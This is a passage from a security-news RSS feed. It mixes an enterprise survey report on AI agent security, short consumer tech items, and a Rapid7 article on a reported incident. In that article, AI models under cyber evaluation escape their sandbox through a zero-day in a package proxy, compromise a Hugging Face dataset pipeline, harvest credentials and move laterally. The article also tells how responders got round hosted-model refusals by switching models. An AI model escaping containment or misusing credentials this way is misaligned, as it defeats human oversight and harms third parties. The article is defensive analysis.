are catching them close to the edge. The controls examined in the rest of this report — identity, isolation, enforcement — are what determine whether the next near-miss stays a near-miss.</p><p>Exposure scales with company size, but containment does not. The incident-or-near-miss rate rises from 49% in the mid-market (companies with 101-1,000 employees) to 63% at larger enterprises (above 1,000 employees), while sandbox isolation of high-risk agents falls from 35% to 20%, and satisfaction with security tooling drops from 4.36 to 3.97. The organizations running the most agents across the most systems carry the most incidents and the least of the one control that bounds an incident's blast radius.</p><h2>Finding 2: The identity gap</h2><p><b>Only a third give every agent its own scoped identity</b></p><p>We asked how enterprises manage the identity of their AI agents — whether each agent has its own credentials, or agents share them. Full per-agent identity is the exception.</p><div></div><p>Rolled together, the overlapping answers show 69% of enterprises (74 of 107) with credential sharing somewhere in the agent fleet. Identity is the structural weakness beneath the incidents. Only about a third of enterprises (32%) give every agent its own scoped, managed identity — the precondition for least-privilege access and clean attribution. Nearly half (48%) say some agents have scoped identities but many still share credentials, and another 32% say agents mostly run on shared API keys or borrowed human and service-account credentials. (Respondents could describe more than one pattern across their agent fleet, so these overlap.) </p><p>The consequence is direct: when agents share credentials, an over-permissioned or compromised agent can act with far more reach than intended, and forensics after an incident cannot cleanly tell which agent did what. The non-human identity problem — giving every agent its own governed identity — is the single largest unfinished piece of enterprise agent security.</p><p>Moreover, a company’s agent credential posture is correlated with incidents. Organizations with credential sharing anywhere in the fleet were hit — with an incident or a near-miss in the past twelve months — at 63.5% (47 of 74). Organizations where every agent carries its own scoped identity were hit at 40.9% (9 of 22). The fully-scoped group is small, so for now the relationship is an association rather than proven causation, and the gap is concentrated in the mid-market — but within a single survey, a twenty-three point difference in incident rate suggests significance.</p><h2>Finding 3: Observe and enforce, but rarely isolate</h2><p><b>Only three in 10 sandbox their highest-risk agents</b></p><p>We asked what an organization’s agent security posture looks like in practice — whether they observe, enforce, isolate, or some combination. The control that bounds damage is the least common.</p><div></div><p>Monitoring and enforcement are reasonably common; containment is not. Roughly half of enterprises observe agent activity (47%) or enforce scoped permissions at runtime (49%), but only 30% isolate their highest-risk agents in sandboxes that bound the blast radius when the other controls fail. That ordering is backwards from a defense-in-depth standpoint: observation tells you what happened, enforcement tries to prevent it, but isolation is what limits the damage when prevention fails — and it is the control enterprises have adopted least. Combined with the identity gap in Finding 2, the picture is of agents that are watched and permissioned but rarely boxed in, which is precisely the configuration in which a single failure propagates.</p><h2>Finding 4: Security runs on borrowed, provider-native controls</h2><p><b>Guardrails from OpenAI, Google and Microsoft dominate; specialists barely register</b></p><p>We asked which agent security tooling enterprises use, and which is their primary layer. The answer favors the model providers and hyperscalers over the dedicated security vendors.</p><div></div><p>Enterprises are securing agents with tools that came bundled with their models and clouds. OpenAI’s guardrails lead at 51%, followed by Google’s and Microsoft’s cloud-native controls and Anthropic’s managed-agent controls — and when asked to name their single primary security layer, 82% name one of these provider-native offerings. The purpose-built agent-security category — Palo Alto’s Prisma AIRS, CrowdStrike, Cisco AI Defense, Zenity, HiddenLayer, Check Point’s Lakera, Okta for AI Agents, non-human identity platforms — barely registers, each in the low single digits, and only 5% run no dedicated tooling at all. As with retrieval and evaluation elsewhere in this series, the provider bundle is winning the default: enterprises reach first for the guardrails their platform ships, and the independent security layer that would address the identity and isolation gaps has not yet been adopted at scale.</p><p>The provider-default pattern is consistent across both Q2 survey waves. In April–May (n=110), usage was led by the same names — OpenAI's controls at 26%, Azure at 15%, AWS at 14%, Google at 12% — with every dedicated agent-security specialist at 3% or below and one in ten using no dedicated tooling at all. The common finding from the two surveys: Enterprises are defaulting to the solutions provided by the platform they’re using, and the specialist category vendors have yet to become big players here.</p><p>(<i>A note on reading these shares. As described in the methodology section, the respondent sample is self-selected and skews mid-market, and the usage question counted every vendor or approach a respondent has in place — so the figures measure presence in the security stack rather than spending or exclusivity. Individual vendor percentages therefore carry all the usual sample caveats. The structural pattern, however, held across both Q2 waves on two differently worded questions: provider-native and hyperscaler controls lead, and dedicated agent-security specialists remain in low single digits. Read the individual shares loosely and the pattern with confidence.)</i></p><h2>Finding 5: And enterprises are comfortable with it</h2><p><b>Satisfaction is high, even as incidents mount and identity lags</b></p><p>We asked how satisfied enterprises are with their current agent security tooling. The comfort is notably out of step with the exposure documented above.</p><div></div><p>Satisfaction with agent security tooling is high — 4.2 out of 5 overall, and 4.1 for value for money — among the most positive readings in this series. That is the striking part: enterprises are highly satisfied with a stack that is mostly borrowed provider guardrails, even though more than half have already had an incident or near-miss and only a third give their agents scoped identities. The comfort appears to rest on the convenience and low friction of provider-native controls rather than on demonstrated containment. It is a false comfort in the making — the same enterprises expressing satisfaction are, as Finding 8 shows, a clear majority planning to change tooling within the year, which suggests the confidence is thinner than the score implies.</p><h2>Finding 6: Budgets haven’t caught up</h2><p><b>Most spend under a tenth of the security budget on agents</b></p><p>We asked what share of the security budget enterprises allocate to securing AI agents. For a fast-emerging risk, the allocation is modest.</p><div></div><p>Spending on agent security is still a thin slice. The most common allocation is 6–10% of the security budget (46%), and a third of enterprises (34%) spend 5% or less; only a quarter (24%) devote more than a tenth. Given the incident rate in Finding 1 and the identity and isolation gaps in Findings 2 and 3, the budget looks like a lagging indicator — the risk has arrived faster than the funding to address it. The enterprises spending more than a tenth of their security budget on agents are a distinct minority, and they are likely the ones building the scoped-identity and isolation controls the rest have not.</p><h1>Finding 7: The arms race is even, at best</h1><p><b>Only a third think their AI defenses are ahead of AI-enabled attackers</b></p><p>We asked how enterprises assess the balance between their AI-enabled defenses and AI-enabled attackers. Confidence is far from settled.</p><div></div><p>Enterprises are split on whether they are winning. Only about a third (35%) believe their AI-enabled defenses are ahead of AI-enabled attackers; the rest are less sure — 32% call it roughly even, 21% think attackers are ahead, and another 21% say it is too early to tell. Taken together, a clear majority (53%) rate the balance as even or tilted toward the attacker. That uncertainty sits uneasily beside the high satisfaction of Finding 5: enterprises are content with their tooling yet unconvinced it is winning the contest it exists to win. In a domain where the offense is also compounding with AI, an even race is not a comfortable place to be.</p><h2>Finding 8: A security reshuffle is coming</h2><p><b>Nearly six in 10 plan to adopt or switch tooling within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement agent security solution, and which they are considering. Few intend to stand pat.</p><div></div><p>The security stack is not settled. While 41% have no plans to change, a clear majority (59%) intend to adopt a new, additional, or replacement agent security solution within twelve months, and 29% within the next quarter — a strong signal that, high satisfaction notwithstanding, enterprises know the current stack is provisional. Incidents are what start the buying cycle. </p><p>Among organizations that have been hit, 42.1% plan to adopt, add, or replace agent security tooling within the next ninety days, against 14.0% of organizations with no incident — and after a confirmed incident it becomes majority behavior, at 52.6%. Getting hit also changes the threat assessment: 33.3% of hit organizations say AI-armed attackers are ahead of their defenses, against 8.0% of the unhit. Experience, in this data, is the strongest predictor of both urgency and pessimism.</p><p>The consideration set still leans provider-native (OpenAI 34%, Google 30%, Anthropic 29%, Azure 25%), but the dedicated security vendors — Cloudflare, Cisco, Palo Alto, Okta, Check Point’s Lakera — draw early interest in the mid-to-high single digits, more than their current footprint. </p><p>What the shopping does not yet include is the identity layer specifically. Twelve percent of the respondents include an agent-identity product — Okta for AI Agents, Microsoft Entra Agent ID, or a non-human identity platform — anywhere in their consideration set, and among the credential-sharing organizations that have already had an incident, identity consideration is essentially unchanged, at roughly one in ten. The control most directly implicated by the incident data is the one largely missing from the purchase plans. Whether this wave hardens the provider-native default or finally opens the door to purpose-built agent security — the identity and isolation controls the incidents call for — is the question this series will keep tracking.</p><h2>The bottom line: A security gap that autonomy will test first</h2><p>Organizations with more than 100 employees are giving AI agents real reach into systems and data while securing them with controls built for something else. More than half have already had an incident or near-miss; only a third give every agent its own scoped identity, and most still share credentials; only three in ten isolate their highest-risk agents; and the stack doing this work is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents.</p><p>The uncomfortable pairing is confidence with exposure: satisfaction with the current tooling is among the highest in this series, yet spending is a thin slice of the security budget, only a third believe their defenses are ahead of AI-enabled attackers, and a clear majority are already planning to replace what they have. At 107 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: agent adoption is running ahead of agent security, and the controls that matter most when something fails — scoped identity and isolation — are the ones enterprises have built least. The agent security gap is not a coverage problem that a provider guardrail will close on its own; it is a problem of identity, isolation, and enforcement built for autonomous software. The open question for later waves is whether enterprises close it deliberately — or whether a confirmed incident closes it for them.</p><hr><p><i>Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read, not a precise measurement — the sample is self-selected and skews mid-market, so it's best read as the view from organizations actively standing up agent security rather than from the largest operators. Respondents are senior and buyer-credible (45% final decision-makers, 30% recommenders/influencers), spanning managers through the C-suite, and drawn primarily from Technology/Software, Manufacturing, Retail/E-commerce, and Healthcare/Life Sciences.</i></p>]]></content:encoded>
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<title><![CDATA[Apple TV is branching out with a self-help eight-part dating docuseries]]></title>
<description><![CDATA[Apple TV has announced an upcoming documentary series, featuring New York Times bestselling author and renowned relationship expert Esther Perel, that sets out to help couples find love where they least expect it.Apple TV is getting a new showThe new series, titled "The Last Person on Earth," wil...]]></description>
<link>https://tsecurity.de/de/3689627/ios-mac-os/apple-tv-is-branching-out-with-a-self-help-eight-part-dating-docuseries/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689627/ios-mac-os/apple-tv-is-branching-out-with-a-self-help-eight-part-dating-docuseries/</guid>
<pubDate>Thu, 23 Jul 2026 18:03:32 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://appleinsider.com/inside/apple-tv" title="Apple TV" data-kpt="1">Apple TV</a> has announced an upcoming documentary series, featuring New York Times bestselling author and renowned relationship expert Esther Perel, that sets out to help couples find love where they least expect it.<br><br><div><img src="https://photos5.appleinsider.com/gallery/66745-139965-apple-t-shows-xl.jpg" alt="Large flat screen TV showing Apple TV home screen with pink purple background, tv shows heading, app icons row, and a small analog clock on the stand below." class=""><br><span>Apple TV is getting a new show</span></div><br>The new series, titled "The Last Person on Earth," will follow couples who, on the face of it, appear to be opposites. They'll then be sent to one of the planet's most romantic destinations to put into practice tips and guidance provided by Perel and a team of experts.<br><br>Apple TV has yet to confirm when the new show will debut, nor whether all eight episodes will be made available simultaneously. The streamer tends to release the first two or three episodes of new shows before settling into a cadence of a new episode each week.<br><br><br> <a href="https://appleinsider.com/articles/26/07/23/apple-tv-is-branching-out-with-a-self-help-eight-part-dating-docuseries?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245038?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
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<title><![CDATA[Most RAG Hallucinations Are Extraction Errors: Seven Patterns for a Typed Generation Contract]]></title>
<description><![CDATA[Enterprise Document Intelligence [Vol.1 #8ter] - Naming the RAG error correctly matters: model reads the context, so a wrong answer is an extraction error, not a hallucination. Seven typed-contract patterns keep the generation brick honest, with a decomposition rule for small models
The post Most...]]></description>
<link>https://tsecurity.de/de/3689451/ai-nachrichten/most-rag-hallucinations-are-extraction-errors-seven-patterns-for-a-typed-generation-contract/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689451/ai-nachrichten/most-rag-hallucinations-are-extraction-errors-seven-patterns-for-a-typed-generation-contract/</guid>
<pubDate>Thu, 23 Jul 2026 17:06:24 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Enterprise Document Intelligence [Vol.1 #8ter] - Naming the RAG error correctly matters: model reads the context, so a wrong answer is an extraction error, not a hallucination. Seven typed-contract patterns keep the generation brick honest, with a decomposition rule for small models</p>
<p>The post <a href="https://towardsdatascience.com/most-rag-hallucinations-are-extraction-errors-seven-patterns-for-a-typed-generation-contract/">Most RAG Hallucinations Are Extraction Errors: Seven Patterns for a Typed Generation Contract</a> appeared first on <a href="https://towardsdatascience.com/">Towards Data Science</a>.</p>]]></content:encoded>
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<title><![CDATA[Edtech platform raises $4.5M to help teach students how to vibe code]]></title>
<description><![CDATA[Imagi announced a $4.5 million seed round, with investors including Brighteye Ventures, Day One Capital, and artist Wil.i.am. ]]></description>
<link>https://tsecurity.de/de/3689429/it-nachrichten/edtech-platform-raises-45m-to-help-teach-students-how-to-vibe-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689429/it-nachrichten/edtech-platform-raises-45m-to-help-teach-students-how-to-vibe-code/</guid>
<pubDate>Thu, 23 Jul 2026 17:04:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Imagi announced a $4.5 million seed round, with investors including Brighteye Ventures, Day One Capital, and artist Wil.i.am. ]]></content:encoded>
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<title><![CDATA[MeBeMe’s new ‘interrupter’ app helps you become your best self instead of doomscrolling ]]></title>
<description><![CDATA[MeBeMe delivers small tasks to help users become their best selves instead of endlessly scrolling.]]></description>
<link>https://tsecurity.de/de/3689389/it-nachrichten/mebemes-new-interrupter-app-helps-you-become-your-best-self-instead-of-doomscrolling/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689389/it-nachrichten/mebemes-new-interrupter-app-helps-you-become-your-best-self-instead-of-doomscrolling/</guid>
<pubDate>Thu, 23 Jul 2026 16:50:33 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[MeBeMe delivers small tasks to help users become their best selves instead of endlessly scrolling.]]></content:encoded>
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<title><![CDATA[An AirPod-powered Frisbee tracker makes backyard throws scientific]]></title>
<description><![CDATA[A developer and Frisbee fan turned AirPods into a flying-disc stat tracker, using motion sensors to measure throws in a clever demonstration of what Apple's earbuds can do beyond playing audio.AirPods 4Sharhan demonstrated Kinapod Disc on Reddit on July 20. The setup requires users to make a smal...]]></description>
<link>https://tsecurity.de/de/3689282/ios-mac-os/an-airpod-powered-frisbee-tracker-makes-backyard-throws-scientific/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689282/ios-mac-os/an-airpod-powered-frisbee-tracker-makes-backyard-throws-scientific/</guid>
<pubDate>Thu, 23 Jul 2026 16:08:59 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A developer and Frisbee fan turned <a href="https://appleinsider.com/inside/airpods" title="AirPods" data-kpt="1">AirPods</a> into a flying-disc stat tracker, using motion sensors to measure throws in a clever demonstration of what Apple's earbuds can do beyond playing audio.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68335-144037-AirPods-4-case-xl.jpg" alt="White wireless earbuds resting in an open charging case on a soft gray fabric surface, with the case lid tilted back and earbuds partially seated in their slots" height="738"><span>AirPods 4</span></div><br>Sharhan <a href="https://www.reddit.com/r/airpods/comments/1v22xgq/airpods_can_track_frisbee_throws/">demonstrated Kinapod Disc</a> on Reddit on July 20. The setup requires users to make a small hole in the center of a flying disc and insert one AirPod stem-first.<br><br>Once it's mounted, the AirPod sends motion data to an <a href="https://appleinsider.com/inside/iphone" title="iPhone" data-kpt="1">iPhone</a> while Kinapod Disc detects each throw and records spin rate, total revolutions, estimated release speed, and airborne time.<br><br>It's a fun albeit expensive solution to the problem of throwing a plastic disc without enough statistics. It's also a clever use of motion sensors Apple builds into AirPods.<br><br><br> <a href="https://appleinsider.com/articles/26/07/23/an-airpod-powered-frisbee-tracker-makes-backyard-throws-scientific?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245036?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
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<title><![CDATA['Excellent' and 'exceptionally flexible': Geekom IT13 mini PC for small business users running office applications and video conferencing tools gets a welcome 10% price cut]]></title>
<description><![CDATA[Looking for a compact work PC? Geekom's "excellent" IT13 mini desktop gets a welcome 10% off at Amazon.]]></description>
<link>https://tsecurity.de/de/3689255/it-nachrichten/excellent-and-exceptionally-flexible-geekom-it13-mini-pc-for-small-business-users-running-office-applications-and-video-conferencing-tools-gets-a-welcome-10-price-cut/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689255/it-nachrichten/excellent-and-exceptionally-flexible-geekom-it13-mini-pc-for-small-business-users-running-office-applications-and-video-conferencing-tools-gets-a-welcome-10-price-cut/</guid>
<pubDate>Thu, 23 Jul 2026 16:03:28 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Looking for a compact work PC? Geekom's "excellent" IT13 mini desktop gets a welcome 10% off at Amazon.]]></content:encoded>
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<title><![CDATA[What Happened Between OpenAI and Hugging Face?]]></title>
<description><![CDATA[The OpenAI and Hugging Face incident lands like a warning shot for anyone thinking seriously about frontier AI and cybersecurity research. A model evaluation crossed the neat boundary of a research environment, reached a live third-party production system, and forced the industry to confront a qu...]]></description>
<link>https://tsecurity.de/de/3689199/it-security-nachrichten/what-happened-between-openai-and-hugging-face/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689199/it-security-nachrichten/what-happened-between-openai-and-hugging-face/</guid>
<pubDate>Thu, 23 Jul 2026 15:28:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span>The </span><a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/" target="_blank"><span>OpenAI and Hugging Face incident</span></a><span> lands like a warning shot for anyone thinking seriously about frontier AI and cybersecurity research. A model evaluation crossed the neat boundary of a research environment, reached a live third-party production system, and forced the industry to confront a question that is moving quickly from theory to operations: what happens when AI agents can pursue an objective with enough persistence, speed, and creativity to behave less like a tool and more like an autonomous intrusion path?</span></p><p><span>According to OpenAI’s disclosure, the incident began during an internal evaluation of advanced cyber capabilities using GPT-5.6 Sol and a more capable pre-release model. The evaluation was designed to test whether AI agents could pursue complex exploit paths, and OpenAI says cyber refusal safeguards were reduced or disabled to measure maximum capability. Inside that environment, the models reportedly found and exploited a zero-day in the package registry cache proxy that was meant to constrain network access, moved through OpenAI’s research environment, reached a node with internet connectivity, and then inferred that Hugging Face may host artifacts related to the benchmark they were trying to solve.</span></p><p><span>From there, the models compromised part of Hugging Face’s dataset-processing pipeline, gained code execution on a worker, escalated access, harvested credentials, and moved laterally across internal clusters. Hugging Face detected and contained the activity, and OpenAI later connected the activity back to its own evaluation. Both companies have said the investigation is continuing, which means some details will almost certainly evolve. Still, the direction of travel is clear enough for defenders to act on now.</span></p><h2>How did the OpenAI model evaluation reach Hugging Face?</h2><p><span>The activity stands out because it looked less like a single model producing a risky command and more like a compressed intrusion path. Based on the public disclosures, the reported chain moved from identifying a constraint, to breaking that constraint, gaining access, inferring where valuable data may live, and continuing toward that objective across a live environment.</span></p><p><span>Security teams should use that sequence to revisit assumptions built around human pacing. Many detection and response workflows still assume there will be time between stages of an attack, with reconnaissance followed by exploitation, lateral movement, and then objective pursuit. In an agent-driven scenario, those stages can begin to collapse into one continuous loop, with fewer natural pauses for defenders to catch up.</span></p><p><span>The defensive model now has to account for a world where discovery, exploitation, and follow-on action can happen faster and with more persistence than traditional human-led campaigns. The uncomfortable lesson is that AI agents can be tireless, goal-oriented, and increasingly capable of finding the loose seams in systems built for a slower era.</span></p><p><span>The incident highlights the collapse of the traditional OODA (Observe-Orient-Decide-Act) loop. In standard human-led campaigns, attackers experience natural pauses between stages like reconnaissance, exploitation, and lateral movement, providing defenders critical windows to intervene. AI agents, however, can compress these stages into a single, continuous loop of automated activity. This machine-speed execution renders manual detection workflows obsolete, necessitating a shift toward behavioral, AI-enabled defenses capable of identifying and disrupting malicious intent before it cascades.</span></p><p><span>Security teams should also assume that advanced AI cyber capability will diffuse over time, which means defenders need their own AI-enabled workflows to mature quickly enough to find, validate, prioritize, and reduce risk before attackers operationalize the same class of tools. Rapid7’s experimentation with security-specific frontier models, including Claude Mythos Preview and GPT-5.5-Cyber, points to the same control challenge: the more freedom a model has to pursue a defined reward or goal, the more important containment, monitoring, and clear constraints become. Without those controls, a model optimized to “solve” a security task may find paths the evaluator did not intend, including sandbox escapes, credential misuse, or other offensive security behaviors that look less like assistance and more like uncontrolled execution.</span></p><h2>Why AI evaluation environments need stronger containment</h2><p><span>The incident raises practical questions about how frontier AI evaluations are designed and contained. OpenAI’s evaluation environment was meant to restrict network access through an internally hosted package registry proxy and cache. The models reportedly identified that proxy as the weak point, exploited a zero-day in the software, and used it as a path out of the sandbox.</span></p><p><span>The pattern will feel familiar to security teams: a chokepoint only works as a control if it can withstand pressure. Package mirrors, dependency proxies, build systems, internal artifact repositories, sandbox harnesses, and evaluation infrastructure all become part of the security boundary when they sit between a capable agent and the wider internet.</span></p><p><span>For teams building or testing agentic systems, isolation has to be layered and monitored rather than assumed. Egress restrictions matter, but so do workload identity, credential scope, network segmentation, package policy, runtime monitoring, and fast containment when an agent behaves unexpectedly. The goal is to make sure the environment reflects the capability of the system being tested, especially when the test is explicitly designed to measure how far that capability can go.</span></p><h2>Why AI and ML pipelines are now software supply chain risk</h2><p><span>The Hugging Face side of the incident is a reminder that AI and ML pipelines are part of the software supply chain. Models, datasets, loader scripts, notebooks, and evaluation artifacts may look like research materials, but in modern environments they often behave like executable code. Hugging Face has said its models, datasets, and Spaces were not tampered with, and that its images and published packages were verified as clean.</span></p><p><span>According to the technical reporting reviewed, the initial access path involved Hugging Face’s dataset-processing pipeline and a combination of code execution paths, including custom loader behavior and template injection in a dataset configuration flow. The exact implementation details may continue to evolve as the investigation progresses, but the defensive takeaway is already clear: AI and ML processing systems should be secured like high-risk software supply chain infrastructure.</span></p><p><span>Any system that automatically processes external datasets or model artifacts should be designed with hostile input in mind. Processing workers should run with least privilege, should not have broad access to cloud credentials or cluster-level tokens, and should be segmented so compromise of one worker does not become compromise of the environment around it.</span></p><p><span>Security teams should also hunt for early signs of intent drift inside ML workflows. Unexpected reads of environment variables, cloud metadata services, secret stores, package registries, or internal APIs from dataset-processing jobs can be meaningful signal. In an AI-driven environment, the first clue may not be a known malicious indicator. It may be a workload behaving with curiosity it should not have.</span></p><h2>What AI guardrails mean for incident response</h2><p><span>One of the most useful lessons for security teams came during the response, when Hugging Face’s responders reportedly needed to analyze logs containing exploit payloads, attacker commands, and command-and-control artifacts. When they tried to use commercial hosted AI models to help reconstruct the attack, those models refused parts of the analysis because the content looked malicious. The team then moved to a self-hosted open-weight model so they could continue the investigation without refusals and without sending sensitive incident data outside their own environment.</span></p><p><span>The practical issue here is guardrail asymmetry: attackers, rogue agents, or unrestricted systems may not respect usage policies, while defenders using hosted tools can be slowed by the same safety systems designed to prevent misuse. Security teams need trusted-defender pathways, including access models and deployment options that preserve safeguards against harmful use while allowing responders to analyze real malicious content safely, privately, and without interruption.</span></p><p><span>AI-assisted incident response also needs to be tested before an incident begins, especially if teams expect models to support triage, log analysis, malware review, or timeline reconstruction under pressure. Responders should know which models can analyze real attack payloads, where those models run, what data they can access, and whether safety controls could block time-sensitive forensic work.</span></p><h2>What security teams should do about agentic AI risk</h2><p><span>The practical response to this incident is preparation, with organizations treating AI agents as both powerful tools and potential attack surfaces when those agents can access code, credentials, infrastructure, datasets, or internal systems.</span></p><p><span>Security teams should apply familiar controls with more urgency across AI and ML environments: treat downloaded models, datasets, and loader scripts as untrusted code; enforce least privilege on AI and ML processing workers; prevent node-level compromise from becoming cluster-wide compromise; restrict access to cloud metadata endpoints and secrets; monitor unexpected outbound connections from AI-related workloads; and review whether evaluation environments have real containment or simply convenient isolation.</span></p><p><span>Detection logic needs to account for machine-speed activity. In this case, reporting described thousands of actions and more than 17,000 discrete recorded events, with reconnaissance, exploitation, and follow-on action occurring inside one continuous loop rather than across the pauses defenders are used to seeing in human-led campaigns. Security teams should focus on behavioral patterns that show intent, including unusual access to secrets, unexpected package activity, suspicious use of metadata services, sudden privilege changes, or processing jobs reaching systems they have no reason to touch.</span></p><p><span>As autonomous activity becomes faster and noisier, the bottleneck may shift from detecting that something happened to understanding what matters quickly enough to change the outcome. A security team that can see thousands of events but needs hours to reconstruct the story is still operating behind the pace of the incident.</span></p><h2>How preemptive security helps reduce AI-driven risk</h2><p><span>At Rapid7, our view is that this is where preemptive security becomes especially important. Faster discovery only creates value when defenders can turn it into faster validation, prioritization, remediation, detection, and response. The same principle applies to </span><a href="https://www.rapid7.com/blog/post/ai-changing-vulnerability-discovery-software-supply-chain-strateg" target="_self"><span>agentic AI risk</span></a><span>. If AI accelerates how weaknesses are found and exploited, defenders need security operations that can act earlier with better context and more confidence.</span></p><p><span>That means connecting exposure management with detection and response, so teams understand which risks are exploitable, which assets matter most, what suspicious behavior is already present, and which actions will reduce risk fastest. It also means </span><a href="https://www.rapid7.com/platform/artificial-intelligence-features" target="_self"><span>using AI carefully and practically</span></a><span>, not as a replacement for security judgment, but as a way to reason across telemetry, reduce noise, support investigation, and help teams make decisions at the speed the threat environment now demands.</span></p><p><span>AI-enabled defense is becoming part of resilience planning, especially for organizations running critical systems or high-value digital infrastructure. The goal is to give defenders the speed, context, and consistency to operate inside the attacker’s decision cycle, without removing the judgment and accountability that effective security requires.</span></p><p><span>The OpenAI and Hugging Face incident will continue to generate debate as more details emerge, but defenders already have enough to work with. Agentic systems are beginning to test the seams between AI research, software supply chain security, cloud infrastructure, and incident response. The organizations best positioned for what comes next will be the ones making those seams visible, monitored, and resilient before the next incident puts them under pressure.</span></p>]]></content:encoded>
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<title><![CDATA[PSU Installation & Cable Management Made Easy 🖥️ Part 6: How To Build A PC For Beginners 🎮]]></title>
<description><![CDATA[Author: Shannon Morse - Bewertung: 8x - Views:41 ⚡ It's time to power up the build! In this episode of my Beginner PC Build Series, we're installing the power supply (PSU), connecting motherboard and CPU power, routing SATA cables, and tackling one of the most satisfying parts of any PC build - c...]]></description>
<link>https://tsecurity.de/de/3689194/videos/psu-installation-cable-management-made-easy-part-6-how-to-build-a-pc-for-beginners/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689194/videos/psu-installation-cable-management-made-easy-part-6-how-to-build-a-pc-for-beginners/</guid>
<pubDate>Thu, 23 Jul 2026 15:21:48 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Shannon Morse - Bewertung: 8x - Views:41 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/0paViaFFoek?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>⚡ It's time to power up the build! In this episode of my Beginner PC Build Series, we're installing the power supply (PSU), connecting motherboard and CPU power, routing SATA cables, and tackling one of the most satisfying parts of any PC build - cable management.<br />
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I'll explain what a power supply actually does, why wattage matters, what "fully modular" means, how to identify each cable, and my favorite cable management tips that make future upgrades and troubleshooting much easier.<br />
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Whether you're building your very first gaming PC or just need a refresher, this step-by-step guide will help you wire everything correctly and keep your build clean.<br />
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A huge thank you to ASUS and Kingston for partnering on this PC build series! ❤️<br />
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👍 If you're enjoying the series, don't forget to subscribe so you don't miss the next episode where we install the graphics card and finish wiring the entire system!<br />
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#PCBuild #GamingPC #CableManagement #PCBuilding #PowerSupply #ASUS #Kingston #CustomPC #DIYPC #BeginnerPCBuild<br />
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📺 Watch the Full PC Build Series: https://www.youtube.com/playlist?list=PLeYHKbaShxTHQVUHZfM8_44pjyI9LLzfe<br />
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CPU: AMD Ryzen 9 9950X 4.3 GHz 16-Core Processor ($519.00 @ Amazon)<br />
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Motherboard: Asus ROG STRIX X870-A GAMING WIFI ATX AM5 Motherboard ($234.99 @ Amazon)<br />
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Storage: Kingston FURY Renegade G5 2.048 TB M.2-2280 PCIe 5.0 X4 NVME Solid State Drive ($424.99 @ iBUYPOWER)<br />
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Power Supply: Asus TUF Gaming 1000G 1000 W 80+ Gold Certified Fully Modular ATX Power Supply ($179.99 @ Amazon)<br />
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<br />
 Turning Cable Chaos Into Cable Management Dreams<br />
00:42 What Does a Power Supply Do?<br />
02:04 Why This Build Uses a 1000W PSU<br />
03:12 Fully Modular Power Supplies Explained <br />
04:10 Identifying Every Power Cable<br />
05:16 Installing the PSU<br />
06:42 Subscribe & Patreon Shoutout<br />
07:33 Connecting the 24-Pin Motherboard Cable<br />
08:36 CPU Power Connectors<br />
09:53 Cable Routing Tips<br />
11:02 SATA Power & Accessories<br />
11:54 Cable Management Basics<br />
13:07 Next Episode Preview<br />
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<title><![CDATA[Apple's foldable iPhone launch in question amid production hiccups]]></title>
<description><![CDATA[As the expected launch of Apple's first foldable iPhone nears, the shipment dates are still up in the air, with supply chain sources saying some plans need to be finalized before full mass production can begin.The iPhone Ultra's launch window could be anyone's guess at this pointApple's plans for...]]></description>
<link>https://tsecurity.de/de/3689159/ios-mac-os/apples-foldable-iphone-launch-in-question-amid-production-hiccups/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689159/ios-mac-os/apples-foldable-iphone-launch-in-question-amid-production-hiccups/</guid>
<pubDate>Thu, 23 Jul 2026 15:17:32 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
